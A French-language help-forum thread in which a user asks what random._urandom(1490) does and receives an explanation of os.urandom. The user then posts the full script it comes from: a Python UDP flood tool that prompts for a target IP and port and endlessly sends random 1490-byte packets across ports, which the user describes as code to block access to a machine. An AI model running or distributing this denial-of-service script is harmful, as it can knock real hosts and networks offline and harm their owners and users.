Fonction urandom

Fermé
Utilisateur anonyme - 9 déc. 2019 à 15:31
 Utilisateur anonyme - 10 déc. 2019 à 09:40
Bonjour,


Bonjour,


Je voudrais comprendre ce que fait cette ligne svp ?

bytes = random._urandom(1490)

Que ce qui se passe si je baisse le chiffre 1490 ?

bytes = random._urandom(590) par exemple.

Merci d'avance de votre aide

1 réponse

Bonsoir,

Si tu baisses le chiffre, tu obtiens moins de valeurs XD

random._urandom est une référence sur la fonction os.urandom qui exploite le générateur aléatoire du système d'exploitation.

Et pour voir ce que os.urandom retourne, il suffit de l'afficher.
>>> import os
>>> bts = os.urandom(10)
>>> print(', '.join(str(b) for b in bts))
0
Utilisateur anonyme
10 déc. 2019 à 09:40
Merci de votre explication. Donc si j'ai bien compris, dans ce code qui permet de bloquer accès à une machine si je baisse le chiffre 1490 en mettant par exemple bytes = random._urandom(500), j'enverrai moins de requêtes à la machine.

En fait, mon but est d'envoyer moins de flux à la machine afin de générer moins de flux réseau sur wireshark

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("launching")
print

print
ip = raw_input("IP Target : ")
port = input("Port : ")

os.system("clear")
os.system("figlet launching Starts")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1
0